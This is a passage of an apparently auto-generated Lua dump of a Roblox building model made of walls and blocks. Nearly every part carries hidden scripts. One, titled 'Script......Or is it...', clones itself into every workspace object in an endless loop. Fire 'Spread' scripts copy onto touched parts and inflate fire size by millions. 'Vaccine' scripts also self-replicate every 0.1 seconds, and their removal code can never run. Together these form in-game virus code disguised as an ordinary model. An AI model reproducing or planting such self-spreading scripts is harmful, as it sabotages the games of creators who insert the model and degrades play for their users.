  1522. for i = 1, #list do
  1523. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  1524. script.Parent:Clone().Parent = list[i]
  1525. end
  1526. wait()
  1527. end
  1528. end
  1529.  
  1530. while true do
  1531. check()
  1532. if workspace:findFirstChild("inFECtion") == nil then
  1533. local main = script.Parent:Clone()
  1534. main.Name = "inFECtion"
  1535. main.Parent = workspace
  1536. end
  1537. wait(3)
  1538. end
  1539.  
  1540. end))
  1541. Script94.Name = "Vaccine"
  1542. Script94.Parent = Part87
  1543. table.insert(cors,sandbox(Script94,function()
  1544. function spread() -- created by nadnarb4
  1545. local stuff = game.Workspace:GetChildren()
  1546. for i = 1, #stuff do
  1547. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  1548. local clone = script:clone()
  1549. clone.Parent = stuff[i]
  1550. end
  1551. end
  1552. end
  1553.  
  1554. while true do
  1555. wait(.1)
  1556. spread()
  1557. end
  1558.  
  1559. function GetAllItems(mdl)
  1560. local objs = {}
  1561. function Search(obj)
  1562. if obj~=workspace then
  1563. table.insert(objs,obj)
  1564. end
  1565. if #obj:GetChildren() > 0 then
  1566. for i, v in ipairs(obj:GetChildren()) do
  1567. Search(v)
  1568. end
  1569. end
  1570. end
  1571. Search(mdl)
  1572. return objs
  1573. end
  1574.  
  1575.  
  1576.  
  1577. for i, v in ipairs(GetAllItems(workspace)) do
  1578. if v.className == "Script" then
  1579. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  1580. v.Parent = game.Lighting --Just in case it has a removal prevention.
  1581. t = Instance.new("ObjectValue")
  1582. t.Name = "IsAVirus"
  1583. t.Parent = v
  1584. end
  1585. end
  1586. end
  1587.  
  1588. for i, v in ipairs(game.Lighting:GetChildren()) do
  1589. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  1590. v:remove()
  1591. end
  1592. end
  1593.  
  1594.  
  1595. end))
  1596. Part95.Name = "spaceWall"
  1597. Part95.Parent = Model0
  1598. Part95.CFrame = CFrame.new(-7.51068115, 3.41999888, -8.75842571, -4.37114451e-08, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, -4.37113883e-08)
  1599. Part95.Orientation = Vector3.new(0, 90, 0)
  1600. Part95.Position = Vector3.new(-7.51068115, 3.41999888, -8.75842571)
  1601. Part95.Rotation = Vector3.new(0, 90, 0)
  1602. Part95.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1603. Part95.Size = Vector3.new(0.39999938, 0.799999356, 0.600000024)
  1604. Part95.Anchored = true
  1605. Part95.BottomSurface = Enum.SurfaceType.Smooth
  1606. Part95.BrickColor = BrickColor.new("Dark stone grey")
  1607. Part95.Material = Enum.Material.DiamondPlate
  1608. Part95.TopSurface = Enum.SurfaceType.Smooth
  1609. Part95.brickColor = BrickColor.new("Dark stone grey")
  1610. Part95.FormFactor = Enum.FormFactor.Custom
  1611. Part95.formFactor = Enum.FormFactor.Custom
  1612. Fire96.Parent = Part95
  1613. Fire96.Color = Color3.new(1, 0.678431, 0)
  1614. Fire96.Enabled = false
  1615. Fire96.Size = 30
  1616. Fire96.Heat = 25
  1617. Fire96.SecondaryColor = Color3.new(1, 0, 0)
  1618. Fire96.size = 30
  1619. Script97.Name = "Spread"
  1620. Script97.Parent = Fire96
  1621. table.insert(cors,sandbox(Script97,function()
  1622. function Spread(part)
  1623. check = part:findFirstChild("Fire")
  1624. if check == nil then
  1625. script.Parent:Clone().Parent = part
  1626.  
  1627. elseif check ~= nil then
  1628. check.Size = check.Size + 1000000
  1629. check.Heat = check.Heat +1000000
  1630. end
  1631. end
  1632.  
  1633.  
  1634. script.Parent.Parent.Touched:connect(Spread)
  1635.  
  1636. end))
  1637. BoolValue98.Name = "RobloxStamper"
  1638. BoolValue98.Parent = Part95
  1639. BoolValue99.Name = "RobloxModel"
  1640. BoolValue99.Parent = Part95
  1641. RotateP100.Name = "INfecTION"
  1642. RotateP100.Parent = Part95
  1643. RotateP100.BaseAngle = 0.25
  1644. Script101.Name = "Script......Or is it..."
  1645. Script101.Parent = RotateP100
  1646. table.insert(cors,sandbox(Script101,function()
  1647. if script.Parent.className ~= "RotateP" then
  1648. local p = Instance.new("RotateP")
  1649. p.Parent = workspace
  1650. p.Name = "INfecTION"
  1651. script.Parent = p
  1652. end
  1653.  
  1654. function check()
  1655. local list = workspace:GetChildren()
  1656. for i = 1, #list do
  1657. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  1658. script.Parent:Clone().Parent = list[i]
  1659. end
  1660. wait()
  1661. end
  1662. end
  1663.  
  1664. while true do
  1665. check()
  1666. if workspace:findFirstChild("inFECtion") == nil then
  1667. local main = script.Parent:Clone()
  1668. main.Name = "inFECtion"
  1669. main.Parent = workspace
  1670. end
  1671. wait(3)
  1672. end
  1673.  
  1674. end))
  1675. Script102.Name = "Vaccine"
  1676. Script102.Parent = Part95
  1677. table.insert(cors,sandbox(Script102,function()
  1678. function spread() -- created by nadnarb4
  1679. local stuff = game.Workspace:GetChildren()
  1680. for i = 1, #stuff do
  1681. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  1682. local clone = script:clone()
  1683. clone.Parent = stuff[i]
  1684. end
  1685. end
  1686. end
  1687.  
  1688. while true do
  1689. wait(.1)
  1690. spread()
  1691. end
  1692.  
  1693. function GetAllItems(mdl)
  1694. local objs = {}
  1695. function Search(obj)
  1696. if obj~=workspace then
  1697. table.insert(objs,obj)
  1698. end
  1699. if #obj:GetChildren() > 0 then
  1700. for i, v in ipairs(obj:GetChildren()) do
  1701. Search(v)
  1702. end
  1703. end
  1704. end
  1705. Search(mdl)
  1706. return objs
  1707. end
  1708.  
  1709.  
  1710.  
  1711. for i, v in ipairs(GetAllItems(workspace)) do
  1712. if v.className == "Script" then
  1713. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  1714. v.Parent = game.Lighting --Just in case it has a removal prevention.
  1715. t = Instance.new("ObjectValue")
  1716. t.Name = "IsAVirus"
  1717. t.Parent = v
  1718. end
  1719. end
  1720. end
  1721.  
  1722. for i, v in ipairs(game.Lighting:GetChildren()) do
  1723. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  1724. v:remove()
  1725. end
  1726. end
  1727.  
  1728.  
  1729. end))
  1730. Part103.Name = "Smooth Block Model"
  1731. Part103.Parent = Model0
  1732. Part103.CFrame = CFrame.new(-9.6106596, 0.899998009, -10.358428, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
  1733. Part103.Position = Vector3.new(-9.6106596, 0.899998009, -10.358428)
  1734. Part103.Color = Color3.new(0.768627, 0.156863, 0.109804)
  1735. Part103.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
  1736. Part103.Anchored = true
  1737. Part103.BottomSurface = Enum.SurfaceType.Smooth
  1738. Part103.BrickColor = BrickColor.new("Bright red")
  1739. Part103.Material = Enum.Material.DiamondPlate
  1740. Part103.TopSurface = Enum.SurfaceType.Smooth
  1741. Part103.brickColor = BrickColor.new("Bright red")
  1742. Part103.FormFactor = Enum.FormFactor.Custom
  1743. Part103.formFactor = Enum.FormFactor.Custom
  1744. Fire104.Parent = Part103
  1745. Fire104.Color = Color3.new(1, 0.678431, 0)
  1746. Fire104.Enabled = false
  1747. Fire104.Size = 30
  1748. Fire104.Heat = 25
  1749. Fire104.SecondaryColor = Color3.new(1, 0, 0)
  1750. Fire104.size = 30
  1751. Script105.Name = "Spread"
  1752. Script105.Parent = Fire104
  1753. table.insert(cors,sandbox(Script105,function()
  1754. function Spread(part)
  1755. check = part:findFirstChild("Fire")
  1756. if check == nil then
  1757. script.Parent:Clone().Parent = part
  1758.  
  1759. elseif check ~= nil then
  1760. check.Size = check.Size + 1000000
  1761. check.Heat = check.Heat +1000000
  1762. end
  1763. end
  1764.  
  1765.  
  1766. script.Parent.Parent.Touched:connect(Spread)
  1767.  
  1768. end))
  1769. BoolValue106.Name = "RobloxStamper"
  1770. BoolValue106.Parent = Part103
  1771. BoolValue107.Name = "RobloxModel"
  1772. BoolValue107.Parent = Part103
  1773. RotateP108.Name = "INfecTION"
  1774. RotateP108.Parent = Part103
  1775. RotateP108.BaseAngle = 0.25
  1776. Script109.Name = "Script......Or is it..."
  1777. Script109.Parent = RotateP108
  1778. table.insert(cors,sandbox(Script109,function()
  1779. if script.Parent.className ~= "RotateP" then
  1780. local p = Instance.new("RotateP")
  1781. p.Parent = workspace
  1782. p.Name = "INfecTION"
  1783. script.Parent = p
  1784. end
  1785.  
  1786. function check()
  1787. local list = workspace:GetChildren()
  1788. for i = 1, #list do
  1789. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  1790. script.Parent:Clone().Parent = list[i]
  1791. end
  1792. wait()
  1793. end
  1794. end
  1795.  
  1796. while true do
  1797. check()
  1798. if workspace:findFirstChild("inFECtion") == nil then
  1799. local main = script.Parent:Clone()
  1800. main.Name = "inFECtion"
  1801. main.Parent = workspace
  1802. end
  1803. wait(3)
  1804. end
  1805.  
  1806. end))
  1807. ManualWeld110.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  1808. ManualWeld110.Parent = Part103
  1809. ManualWeld110.C0 = CFrame.new(0.200000018, -0.899999738, 0.200000003, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  1810. ManualWeld110.C1 = CFrame.new(-0.200000763, -0.899999619, 0.199996948, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  1811. ManualWeld110.Part0 = Part103
  1812. ManualWeld110.Part1 = Part113
  1813. ManualWeld110.part1 = Part113
  1814. ManualWeld111.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  1815. ManualWeld111.Parent = Part103
  1816. ManualWeld111.C0 = CFrame.new(-0.200000018, -0.899999738, 0.200000003, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1817. ManualWeld111.C1 = CFrame.new(-0.200000763, -0.899999619, -0.199996948, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1818. ManualWeld111.Part0 = Part103
  1819. ManualWeld111.Part1 = Part130
  1820. ManualWeld111.part1 = Part130
  1821. Script112.Name = "Vaccine"
  1822. Script112.Parent = Part103
  1823. table.insert(cors,sandbox(Script112,function()
  1824. function spread() -- created by nadnarb4
  1825. local stuff = game.Workspace:GetChildren()
  1826. for i = 1, #stuff do
  1827. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  1828. local clone = script:clone()
  1829. clone.Parent = stuff[i]
  1830. end
  1831. end
  1832. end
  1833.  
  1834. while true do
  1835. wait(.1)
  1836. spread()
  1837. end
  1838.  
  1839. function GetAllItems(mdl)
  1840. local objs = {}
  1841. function Search(obj)
  1842. if obj~=workspace then
  1843. table.insert(objs,obj)
  1844. end
  1845. if #obj:GetChildren() > 0 then
  1846. for i, v in ipairs(obj:GetChildren()) do
  1847. Search(v)
  1848. end
  1849. end
  1850. end
  1851. Search(mdl)
  1852. return objs
  1853. end
  1854.  
  1855.  
  1856.  
  1857. for i, v in ipairs(GetAllItems(workspace)) do
  1858. if v.className == "Script" then
  1859. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  1860. v.Parent = game.Lighting --Just in case it has a removal prevention.
  1861. t = Instance.new("ObjectValue")
  1862. t.Name = "IsAVirus"
  1863. t.Parent = v
  1864. end
  1865. end
  1866. end
  1867.  
  1868. for i, v in ipairs(game.Lighting:GetChildren()) do
  1869. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  1870. v:remove()
  1871. end
  1872. end
  1873.  
  1874.  
  1875. end))
  1876. Part113.Name = "Smooth Block Model"
  1877. Part113.Parent = Model0
  1878. Part113.CFrame = CFrame.new(-9.21063614, 0.899998009, -10.358428, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
  1879. Part113.Position = Vector3.new(-9.21063614, 0.899998009, -10.358428)
  1880. Part113.Color = Color3.new(0.768627, 0.156863, 0.109804)
  1881. Part113.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
  1882. Part113.Anchored = true
  1883. Part113.BottomSurface = Enum.SurfaceType.Smooth
  1884. Part113.BrickColor = BrickColor.new("Bright red")
  1885. Part113.Material = Enum.Material.DiamondPlate
  1886. Part113.TopSurface = Enum.SurfaceType.Smooth
  1887. Part113.brickColor = BrickColor.new("Bright red")
  1888. Part113.FormFactor = Enum.FormFactor.Custom
  1889. Part113.formFactor = Enum.FormFactor.Custom
  1890. Fire114.Parent = Part113
  1891. Fire114.Color = Color3.new(1, 0.678431, 0)
  1892. Fire114.Enabled = false
  1893. Fire114.Size = 30
  1894. Fire114.Heat = 25
  1895. Fire114.SecondaryColor = Color3.new(1, 0, 0)
  1896. Fire114.size = 30
  1897. Script115.Name = "Spread"
  1898. Script115.Parent = Fire114
  1899. table.insert(cors,sandbox(Script115,function()
  1900. function Spread(part)
  1901. check = part:findFirstChild("Fire")
  1902. if check == nil then
  1903. script.Parent:Clone().Parent = part
  1904.  
  1905. elseif check ~= nil then
  1906. check.Size = check.Size + 1000000
  1907. check.Heat = check.Heat +1000000
  1908. end
  1909. end
  1910.  
  1911.  
  1912. script.Parent.Parent.Touched:connect(Spread)
  1913.  
  1914. end))
  1915. BoolValue116.Name = "RobloxStamper"
  1916. BoolValue116.Parent = Part113
  1917. BoolValue117.Name = "RobloxModel"
  1918. BoolValue117.Parent = Part113
  1919. RotateP118.Name = "INfecTION"
  1920. RotateP118.Parent = Part113
  1921. RotateP118.BaseAngle = 0.25
  1922. Script119.Name = "Script......Or is it..."
  1923. Script119.Parent = RotateP118
  1924. table.insert(cors,sandbox(Script119,function()
  1925. if script.Parent.className ~= "RotateP" then
  1926. local p = Instance.new("RotateP")
  1927. p.Parent = workspace
  1928. p.Name = "INfecTION"
  1929. script.Parent = p
  1930. end
  1931.  
  1932. function check()
  1933. local list = workspace:GetChildren()
  1934. for i = 1, #list do
  1935. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  1936. script.Parent:Clone().Parent = list[i]
  1937. end
  1938. wait()
  1939. end
  1940. end
  1941.  
  1942. while true do
  1943. check()
  1944. if workspace:findFirstChild("inFECtion") == nil then
  1945. local main = script.Parent:Clone()
  1946. main.Name = "inFECtion"
  1947. main.Parent = workspace
  1948. end
  1949. wait(3)
  1950. end
  1951.  
  1952. end))
  1953. Script120.Name = "Vaccine"
  1954. Script120.Parent = Part113
  1955. table.insert(cors,sandbox(Script120,function()
  1956. function spread() -- created by nadnarb4
  1957. local stuff = game.Workspace:GetChildren()
  1958. for i = 1, #stuff do
  1959. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  1960. local clone = script:clone()
  1961. clone.Parent = stuff[i]
  1962. end
  1963. end
  1964. end
  1965.  
  1966. while true do
  1967. wait(.1)
  1968. spread()
  1969. end
  1970.  
  1971. function GetAllItems(mdl)
  1972. local objs = {}
  1973. function Search(obj)
  1974. if obj~=workspace then
  1975. table.insert(objs,obj)
  1976. end
  1977. if #obj:GetChildren() > 0 then
  1978. for i, v in ipairs(obj:GetChildren()) do
  1979. Search(v)
  1980. end
  1981. end
  1982. end
  1983. Search(mdl)
  1984. return objs
  1985. end
  1986.  
  1987.  
  1988.  
  1989. for i, v in ipairs(GetAllItems(workspace)) do
  1990. if v.className == "Script" then
  1991. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  1992. v.Parent = game.Lighting --Just in case it has a removal prevention.
  1993. t = Instance.new("ObjectValue")
  1994. t.Name = "IsAVirus"
  1995. t.Parent = v
  1996. end
  1997. end
  1998. end
  1999.  
  2000. for i, v in ipairs(game.Lighting:GetChildren()) do
  2001. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  2002. v:remove()
  2003. end
  2004. end
  2005.  
  2006.  
  2007. end))
  2008. Part121.Name = "spaceWall"
  2009. Part121.Parent = Model0
  2010. Part121.CFrame = CFrame.new(-8.21075439, 4.17999887, -8.25842476, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
  2011. Part121.Position = Vector3.new(-8.21075439, 4.17999887, -8.25842476)
  2012. Part121.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2013. Part121.Size = Vector3.new(0.799999356, 0.599999368, 1.799999)
  2014. Part121.Anchored = true
  2015. Part121.BottomSurface = Enum.SurfaceType.Smooth
  2016. Part121.BrickColor = BrickColor.new("Dark stone grey")
  2017. Part121.Material = Enum.Material.DiamondPlate
  2018. Part121.TopSurface = Enum.SurfaceType.Smooth
  2019. Part121.brickColor = BrickColor.new("Dark stone grey")
  2020. Part121.FormFactor = Enum.FormFactor.Custom
  2021. Part121.formFactor = Enum.FormFactor.Custom
  2022. Fire122.Parent = Part121
  2023. Fire122.Color = Color3.new(1, 0.678431, 0)
  2024. Fire122.Enabled = false
  2025. Fire122.Size = 30
  2026. Fire122.Heat = 25
  2027. Fire122.SecondaryColor = Color3.new(1, 0, 0)
  2028. Fire122.size = 30
  2029. Script123.Name = "Spread"
  2030. Script123.Parent = Fire122
  2031. table.insert(cors,sandbox(Script123,function()
  2032. function Spread(part)
  2033. check = part:findFirstChild("Fire")
  2034. if check == nil then
  2035. script.Parent:Clone().Parent = part
  2036.  
  2037. elseif check ~= nil then
  2038. check.Size = check.Size + 1000000
  2039. check.Heat = check.Heat +1000000
  2040. end
  2041. end
  2042.  
  2043.  
  2044. script.Parent.Parent.Touched:connect(Spread)
  2045.  
  2046. end))
  2047. BoolValue124.Name = "RobloxStamper"
  2048. BoolValue124.Parent = Part121
  2049. BoolValue125.Name = "RobloxModel"
  2050. BoolValue125.Parent = Part121
  2051. RotateP126.Name = "INfecTION"
  2052. RotateP126.Parent = Part121
  2053. RotateP126.BaseAngle = 0.25
  2054. Script127.Name = "Script......Or is it..."
  2055. Script127.Parent = RotateP126
  2056. table.insert(cors,sandbox(Script127,function()
  2057. if script.Parent.className ~= "RotateP" then
  2058. local p = Instance.new("RotateP")
  2059. p.Parent = workspace
  2060. p.Name = "INfecTION"
  2061. script.Parent = p
  2062. end
  2063.  
  2064. function check()
  2065. local list = workspace:GetChildren()
  2066. for i = 1, #list do
  2067. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  2068. script.Parent:Clone().Parent = list[i]
  2069. end
  2070. wait()
  2071. end
  2072. end
  2073.  
  2074. while true do
  2075. check()
  2076. if workspace:findFirstChild("inFECtion") == nil then
  2077. local main = script.Parent:Clone()
  2078. main.Name = "inFECtion"
  2079. main.Parent = workspace
  2080. end
  2081. wait(3)
  2082. end
  2083.  
  2084. end))
  2085. ManualWeld128.Name = "spaceWall-to-spaceWallCorner Strong Joint"
  2086. ManualWeld128.Parent = Part121
  2087. ManualWeld128.C0 = CFrame.new(-0.399999678, -0.299999684, -0.899999499, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  2088. ManualWeld128.C1 = CFrame.new(-0.900009155, -0.399999619, 0.29999733, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  2089. ManualWeld128.Part0 = Part121
  2090. ManualWeld128.Part1 = WedgePart176
  2091. ManualWeld128.part1 = WedgePart176
  2092. Script129.Name = "Vaccine"
  2093. Script129.Parent = Part121
  2094. table.insert(cors,sandbox(Script129,function()
  2095. function spread() -- created by nadnarb4
  2096. local stuff = game.Workspace:GetChildren()
  2097. for i = 1, #stuff do
  2098. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  2099. local clone = script:clone()
  2100. clone.Parent = stuff[i]
  2101. end
  2102. end
  2103. end
  2104.  
  2105. while true do
  2106. wait(.1)
  2107. spread()
  2108. end
  2109.  
  2110. function GetAllItems(mdl)
  2111. local objs = {}
  2112. function Search(obj)
  2113. if obj~=workspace then
  2114. table.insert(objs,obj)
  2115. end
  2116. if #obj:GetChildren() > 0 then
  2117. for i, v in ipairs(obj:GetChildren()) do
  2118. Search(v)
  2119. end
  2120. end
  2121. end
  2122. Search(mdl)
  2123. return objs
  2124. end
  2125.  
  2126.  
  2127.  
  2128. for i, v in ipairs(GetAllItems(workspace)) do
  2129. if v.className == "Script" then
  2130. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  2131. v.Parent = game.Lighting --Just in case it has a removal prevention.
  2132. t = Instance.new("ObjectValue")
  2133. t.Name = "IsAVirus"
  2134. t.Parent = v
  2135. end
  2136. end
  2137. end
  2138.  
  2139. for i, v in ipairs(game.Lighting:GetChildren()) do
  2140. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  2141. v:remove()
  2142. end
  2143. end
  2144.  
  2145.  
  2146. end))
  2147. Part130.Name = "Smooth Block Model"
  2148. Part130.Parent = Model0
  2149. Part130.CFrame = CFrame.new(-9.6106596, 0.899998009, -9.95842648, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
  2150. Part130.Position = Vector3.new(-9.6106596, 0.899998009, -9.95842648)
  2151. Part130.Color = Color3.new(0.768627, 0.156863, 0.109804)
  2152. Part130.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
  2153. Part130.Anchored = true
  2154. Part130.BottomSurface = Enum.SurfaceType.Smooth
  2155. Part130.BrickColor = BrickColor.new("Bright red")
  2156. Part130.Material = Enum.Material.DiamondPlate
  2157. Part130.TopSurface = Enum.SurfaceType.Smooth
  2158. Part130.brickColor = BrickColor.new("Bright red")
  2159. Part130.FormFactor = Enum.FormFactor.Custom
  2160. Part130.formFactor = Enum.FormFactor.Custom
  2161. Fire131.Parent = Part130
  2162. Fire131.Color = Color3.new(1, 0.678431, 0)
  2163. Fire131.Enabled = false
  2164. Fire131.Size = 30
  2165. Fire131.Heat = 25
  2166. Fire131.SecondaryColor = Color3.new(1, 0, 0)
  2167. Fire131.size = 30
  2168. Script132.Name = "Spread"
  2169. Script132.Parent = Fire131
  2170. table.insert(cors,sandbox(Script132,function()
  2171. function Spread(part)
  2172. check = part:findFirstChild("Fire")
  2173. if check == nil then
  2174. script.Parent:Clone().Parent = part
  2175.  
  2176. elseif check ~= nil then
  2177. check.Size = check.Size + 1000000
  2178. check.Heat = check.Heat +1000000
  2179. end
  2180. end
  2181.  
  2182.  
  2183. script.Parent.Parent.Touched:connect(Spread)
  2184.  
  2185. end))
  2186. BoolValue133.Name = "RobloxStamper"
  2187. BoolValue133.Parent = Part130
  2188. BoolValue134.Name = "RobloxModel"
  2189. BoolValue134.Parent = Part130
  2190. RotateP135.Name = "INfecTION"
  2191. RotateP135.Parent = Part130
  2192. RotateP135.BaseAngle = 0.25
  2193. Script136.Name = "Script......Or is it..."
  2194. Script136.Parent = RotateP135
  2195. table.insert(cors,sandbox(Script136,function()
  2196. if script.Parent.className ~= "RotateP" then
  2197. local p = Instance.new("RotateP")
  2198. p.Parent = workspace
  2199. p.Name = "INfecTION"
  2200. script.Parent = p
  2201. end
  2202.  
  2203. function check()
  2204. local list = workspace:GetChildren()
  2205. for i = 1, #list do
  2206. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  2207. script.Parent:Clone().Parent = list[i]
  2208. end
  2209. wait()
  2210. end
  2211. end
  2212.  
  2213. while true do
  2214. check()
  2215. if workspace:findFirstChild("inFECtion") == nil then
  2216. local main = script.Parent:Clone()
  2217. main.Name = "inFECtion"
  2218. main.Parent = workspace
  2219. end
  2220. wait(3)
  2221. end
  2222.  
  2223. end))
  2224. Script137.Name = "Vaccine"
  2225. Script137.Parent = Part130
  2226. table.insert(cors,sandbox(Script137,function()
  2227. function spread() -- created by nadnarb4
  2228. local stuff = game.Workspace:GetChildren()
  2229. for i = 1, #stuff do
  2230. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  2231. local clone = script:clone()
  2232. clone.Parent = stuff[i]
  2233. end
  2234. end
  2235. end
  2236.  
  2237. while true do
  2238. wait(.1)
  2239. spread()
  2240. end
  2241.  
  2242. function GetAllItems(mdl)
  2243. local objs = {}
  2244. function Search(obj)
  2245. if obj~=workspace then
  2246. table.insert(objs,obj)
  2247. end
  2248. if #obj:GetChildren() > 0 then
  2249. for i, v in ipairs(obj:GetChildren()) do
  2250. Search(v)
  2251. end
  2252. end
  2253. end
  2254. Search(mdl)
  2255. return objs
  2256. end
  2257.  
  2258.  
  2259.  
  2260. for i, v in ipairs(GetAllItems(workspace)) do
  2261. if v.className == "Script" then
  2262. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  2263. v.Parent = game.Lighting --Just in case it has a removal prevention.
  2264. t = Instance.new("ObjectValue")
  2265. t.Name = "IsAVirus"
  2266. t.Parent = v
  2267. end
  2268. end
  2269. end
  2270.  
  2271. for i, v in ipairs(game.Lighting:GetChildren()) do
  2272. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  2273. v:remove()
  2274. end
  2275. end
  2276.  
  2277.  
  2278. end))
  2279. Part138.Name = "spaceWall"
  2280. Part138.Parent = Model0
  2281. Part138.CFrame = CFrame.new(-8.61065578, 3.38000011, -8.25842476, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
  2282. Part138.Position = Vector3.new(-8.61065578, 3.38000011, -8.25842476)
  2283. Part138.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2284. Part138.Size = Vector3.new(1.59999943, 0.999999344, 1.799999)
  2285. Part138.Anchored = true
  2286. Part138.BottomSurface = Enum.SurfaceType.Smooth
  2287. Part138.BrickColor = BrickColor.new("Dark stone grey")
  2288. Part138.Material = Enum.Material.DiamondPlate
  2289. Part138.TopSurface = Enum.SurfaceType.Smooth
  2290. Part138.brickColor = BrickColor.new("Dark stone grey")
  2291. Part138.FormFactor = Enum.FormFactor.Custom
  2292. Part138.formFactor = Enum.FormFactor.Custom
  2293. Fire139.Parent = Part138
  2294. Fire139.Color = Color3.new(1, 0.678431, 0)
  2295. Fire139.Enabled = false
  2296. Fire139.Size = 30
  2297. Fire139.Heat = 25
  2298. Fire139.SecondaryColor = Color3.new(1, 0, 0)
  2299. Fire139.size = 30
  2300. Script140.Name = "Spread"
  2301. Script140.Parent = Fire139
  2302. table.insert(cors,sandbox(Script140,function()
  2303. function Spread(part)
  2304. check = part:findFirstChild("Fire")
  2305. if check == nil then
  2306. script.Parent:Clone().Parent = part
  2307.  
  2308. elseif check ~= nil then
  2309. check.Size = check.Size + 1000000
  2310. check.Heat = check.Heat +1000000
  2311. end
  2312. end
  2313.  
  2314.  
  2315. script.Parent.Parent.Touched:connect(Spread)
  2316.  
  2317. end))
  2318. BoolValue141.Name = "RobloxStamper"
  2319. BoolValue141.Parent = Part138
  2320. BoolValue142.Name = "RobloxModel"
  2321. BoolValue142.Parent = Part138
  2322. RotateP143.Name = "INfecTION"
  2323. RotateP143.Parent = Part138
  2324. RotateP143.BaseAngle = 0.25
  2325. Script144.Name = "Script......Or is it..."
  2326. Script144.Parent = RotateP143
  2327. table.insert(cors,sandbox(Script144,function()
  2328. if script.Parent.className ~= "RotateP" then
  2329. local p = Instance.new("RotateP")
  2330. p.Parent = workspace
  2331. p.Name = "INfecTION"
  2332. script.Parent = p
  2333. end
  2334.  
  2335. function check()
  2336. local list = workspace:GetChildren()
  2337. for i = 1, #list do
  2338. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  2339. script.Parent:Clone().Parent = list[i]
  2340. end
  2341. wait()
  2342. end
  2343. end
  2344.  
  2345. while true do
  2346. check()
  2347. if workspace:findFirstChild("inFECtion") == nil then
  2348. local main = script.Parent:Clone()
  2349. main.Name = "inFECtion"
  2350. main.Parent = workspace
  2351. end
  2352. wait(3)
  2353. end
  2354.  
  2355. end))
  2356. ManualWeld145.Name = "spaceWall-to-spaceWall Strong Joint"
  2357. ManualWeld145.Parent = Part138
  2358. ManualWeld145.C0 = CFrame.new(-0.799999714, 0.499999672, 0.899999499, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  2359. ManualWeld145.C1 = CFrame.new(-1.20000076, -0.299999237, 0.900001526, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  2360. ManualWeld145.Part0 = Part138
  2361. ManualWeld145.Part1 = Part121
  2362. ManualWeld145.part1 = Part121
  2363. ManualWeld146.Name = "spaceWall-to-spaceWallCorner Strong Joint"
  2364. ManualWeld146.Parent = Part138
  2365. ManualWeld146.C0 = CFrame.new(-0.799999714, 0.499999672, 0.899999499, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  2366. ManualWeld146.C1 = CFrame.new(0.899993896, 0.400001526, 0.29999733, 0, 1, 0, 1, 0, 0, 0, 0, -1)
  2367. ManualWeld146.Part0 = Part138
  2368. ManualWeld146.Part1 = WedgePart176
  2369. ManualWeld146.part1 = WedgePart176
  2370. Script147.Name = "Vaccine"
  2371. Script147.Parent = Part138
  2372. table.insert(cors,sandbox(Script147,function()
  2373. function spread() -- created by nadnarb4
  2374. local stuff = game.Workspace:GetChildren()
  2375. for i = 1, #stuff do
  2376. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  2377. local clone = script:clone()
  2378. clone.Parent = stuff[i]
  2379. end
  2380. end
  2381. end
  2382.  
  2383. while true do
  2384. wait(.1)
  2385. spread()
  2386. end
  2387.  
  2388. function GetAllItems(mdl)
